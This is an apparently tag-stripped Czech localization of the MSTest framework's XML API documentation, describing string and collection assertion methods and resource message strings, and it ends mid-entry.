Řetězec má být v rozmezí hodnot . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec začíná zadaným podřetězcem, - a vyvolá výjimku, pokud testovací řetězec podřetězcem - nezačíná. - - - Řetězec, který má začínat na . - - - Řetězec, který má být prefixem hodnoty . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nezačíná na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not begin with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Thrown if does not end with - . - - - - - Testuje, jestli zadaný řetězec končí zadaným podřetězcem, - a vyvolá výjimku, pokud jím testovací řetězec - nekončí. - - - Řetězec, který má končit na . - - - Řetězec, který má být příponou . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - nekončí na . Zpráva se - zobrazuje ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not end with - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný objekt shoduje s regulárním výrazem, a - vyvolá výjimku, pokud se řetězec s výrazem neshoduje. - - - Řetězec, který se má shodovat se vzorkem . - - - Regulární výraz, který se - má shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - neodpovídá . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not match - . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if matches . - - - - - Testuje, jestli se zadaný řetězec neshoduje s regulárním výrazem, - a vyvolá výjimku, pokud se řetězec s výrazem shoduje. - - - Řetězec, který se nemá shodovat se skutečnou hodnotou . - - - Regulární výraz, který se - nemá shodovat. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - odpovídá . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if matches . - - - - - Kolekce tříd pomocných služeb pro ověřování nejrůznějších podmínek vztahujících se - na kolekce v rámci testů jednotek. Pokud se testovaná podmínka - nesplní, vyvolá se výjimka. - - - - - Získá instanci typu singleton funkce CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce obsahuje zadaný prvek, - a vyvolá výjimku, pokud prvek v kolekci není. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který má být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není v . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Thrown if is found in - . - - - - - Testuje, jestli zadaná kolekce neobsahuje zadaný - prvek, a vyvolá výjimku, pokud prvek je v kolekci. - - - Kolekce, ve které chcete prvek vyhledat - - - Prvek, který nemá být v kolekci - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je v kolekci . Zpráva je zobrazena ve výsledcích - testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is found in - . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if a null element is found in . - - - - - Testuje, jestli ani jedna položka v zadané kolekci není null, a vyvolá - výjimku, pokud je jakýkoli prvek null. - - - Kolekce, ve které chcete hledat prvky Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje prvek Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a null element is found in . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jsou všechny položky v zadané kolekci jedinečné, a - vyvolá výjimku, pokud libovolné dva prvky v kolekci jsou stejné. - - - Kolekce, ve které chcete hledat duplicitní prvky - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje alespoň jeden duplicitní prvek. Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if a two or more equal elements are found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna kolekce je podmnožinou jiné kolekce, - a vyvolá výjimku, pokud libovolný prvek podmnožiny není zároveň - prvkem nadmnožiny. - - - Kolekce, která má být podmnožinou . - - - Kolekce má být nadmnožinou - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - se nenachází v podmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is not found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Určuje, jestli první kolekce je podmnožinou druhé - kolekce. Pokud některá z množin obsahuje duplicitní prvky, musí počet - výskytů prvku v podmnožině být menší, nebo - se musí rovnat počtu výskytů v nadmnožině. - - - Kolekce, která podle testu má být obsažena v nadmnožině . - - - Kolekce, která podle testu má obsahovat . - - - Pravda, pokud je podmnožinou - , jinak nepravda. - - - - - Vytvoří slovník obsahující počet výskytů jednotlivých - prvků v zadané kolekci. - - - Kolekce, kterou chcete zpracovat - - - Počet prvků Null v kolekci - - - Slovník obsahující počet výskytů jednotlivých prvků - v zadané kolekci. - - - - - Najde mezi dvěma kolekcemi neshodný prvek. Neshodný - prvek je takový, který má v očekávané kolekci - odlišný počet výskytů ve srovnání se skutečnou kolekcí. Kolekce - se považují za rozdílné reference bez hodnoty null se - stejným počtem prvků. Za tuto úroveň ověření odpovídá - volající. Pokud neexistuje žádný neshodný prvek, funkce vrátí - false a neměli byste použít parametry Out. - - - První kolekce, která se má porovnat - - - Druhá kolekce k porovnání - - - Očekávaný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Skutečný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Neshodný prvek (může být Null) nebo Null, pokud neexistuje žádný - neshodný prvek. - - - pravda, pokud je nalezen nevyhovující prvek; v opačném případě nepravda. - - - - - Porovná objekt pomocí atributu object.Equals. - - - - - Základní třída pro výjimky architektury - - - - - Inicializuje novou instanci třídy . - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Třída prostředků se silnými typy pro vyhledávání lokalizovaných řetězců atd. - - - - - Vrátí v mezipaměti uloženou instanci ResourceManager použitou touto třídou. - - - - - Přepíše vlastnost CurrentUICulture aktuálního vlákna pro všechna - vyhledávání prostředků pomocí této třídy prostředků silného typu. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Přístupový řetězec má neplatnou syntaxi. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekávaná kolekce obsahuje počet výskytů {1} <{2}>. Skutečná kolekce obsahuje tento počet výskytů: {3}. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Našla se duplicitní položka:<{1}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekáváno:<{1}>. Případ je rozdílný pro skutečnou hodnotu:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekává rozdíl maximálně <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekáváno:<{1} ({2})>. Skutečnost:<{3} ({4})>. {0}. - - - - - Vyhledá řetězec podobný řetězci Očekáváno:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekával rozdíl větší než <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávala se libovolná hodnota s výjimkou:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevkládejte hodnotu typů do AreSame(). Hodnoty převedené na typ Object nebudou nikdy stejné. Zvažte možnost použít AreEqual(). {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Chyba {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: async TestMethod s atributem UITestMethodAttribute se nepodporují. Buď odeberte async, nebo použijte TestMethodAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce jsou prázdné. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejný prvek. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě reference kolekce odkazují na stejný objekt kolekce. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejné prvky. {0}. - - - - - Vyhledá řetězec podobný řetězci {0}({1}). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (null). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (objekt). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} neobsahuje řetězec {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} ({1}). - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Atribut Assert.Equals by se neměl používat pro kontrolní výrazy. Použijte spíše Assert.AreEqual a přetížení. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Počet prvků v kolekci se neshoduje. Očekáváno:<{1}>. Skutečnost:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {0} se neshoduje. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Prvek indexu {1} je neočekávaného typu. Očekávaný typ:<{2}>. Skutečný typ:<{3}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {1} je (null). Očekávaný typ:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nekončí řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Neplatný argument: EqualsTester nemůže použít hodnoty null. - - - - - Vyhledá řetězec podobný řetězci Nejde převést objekt typu {0} na {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Interní odkazovaný objekt už není platný. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Parametr {0} je neplatný. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Vlastnost {0} má typ {1}; očekávaný typ {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} Očekávaný typ:<{1}>. Skutečný typ:<{2}>. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se neshoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Nesprávný typ:<{1}>. Skutečný typ:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se shoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nezadal se žádný atribut DataRowAttribute. K atributu DataTestMethodAttribute se vyžaduje aspoň jeden atribut DataRowAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevyvolala se žádná výjimka. Očekávala se výjimka {1}. {0}. - - - - - Vyhledá lokalizované řetězce podobné tomuto: Parametr {0} je neplatný. Hodnota nemůže být null. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Rozdílný počet prvků. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Konstruktor se zadaným podpisem se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru objektu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Zadaný člen ({0}) se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru atributu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nezačíná řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávaný typ výjimky musí být System.Exception nebo typ odvozený od System.Exception. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (Z důvodu výjimky se nepodařilo získat zprávu pro výjimku typu {0}.). - - - - - Vyhledá 